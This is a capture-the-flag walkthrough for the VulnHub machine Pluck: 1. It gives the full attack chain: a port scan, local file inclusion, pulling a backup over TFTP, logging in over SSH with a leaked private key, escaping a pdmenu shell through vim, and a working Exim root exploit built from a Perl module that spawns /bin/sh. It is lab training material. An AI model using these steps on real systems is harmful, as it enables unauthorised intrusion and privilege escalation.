Capture the flag (CTF)

Pluck: 1 CTF Walkthrough

Pluck: 1 is a vulnerable machine created by Ryan Oberto. It surfaced on VulnHub on 11^th March 2017. It can be downloaded from https://www.vulnhub.com/entry/pluck-1,178/

The file can be used with VMWare as well as VirtualBox. The machine is Linux based.

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The objective is to read the flag present in the machine with root privileges.

Downloaded and fired up, it presents with a login screen with shows the target IP:

Since we have our target IP, let's scan and see what we can find:

For this case, I am using Zenmap, a GUI version of Nmap. The scan shows us that there are three ports open:

• Port 22 - Used for SSH
• Port 80 - Used to serve a web application
• Port 3306 - Running MySQL

Seeing that port 80 is open, my first instinct was to check what's the server running:

Looking at the URL formed, it made me try to look for LFI (Local File Inclusion), and it worked:

http://172.16.92.142/index.php?page=about.php

Looking at the output, it talks about a user called backup-user whose job is to take periodic backups and store them. Let's see what it shows us:

To get the backup.tar file, I used to connect with TFTP (Trivial File Transfer Protocol) and downloaded the backup.tar file:

$ tftp

tftp> connect 172.16.92.142

tftp> get backup.tar

tftp> quit

On extracting the contents of backup.tar, we see there are two folders:

• Home
• Var

$ tar -xvf backup.tar

On further examination, we see that the user Paul, has a few keys up his sleeves:

Let's try to use them and see if any of them works. After trying a few, id_key4 showed the following:

$ ssh -I id_key4 paul@172.16.92.142

Here, we are presented with pdmenu. To get to a shell, go on to Edit file and enter any file name. You will be presented with vim, and to exit to a shell, simply write:

:set shell =/bin/bash

and then type :shell to exit to a shell

Checking about the user and the system, we find:

Now to read the flag, we need to get root privilege. After doing some research, I found the following exploit (https://www.exploit-db.com/exploits/39535/). Simply copying and pasting the following, gave us root:

cat > /tmp/root.pm << EOF

package root;

use strict;

use warnings;

system("/bin/sh");

EOF

PERL5LIB=/tmp PERL5OPT=-Mroot /usr/exim/bin/exim -ps

and voila, we have the flag:

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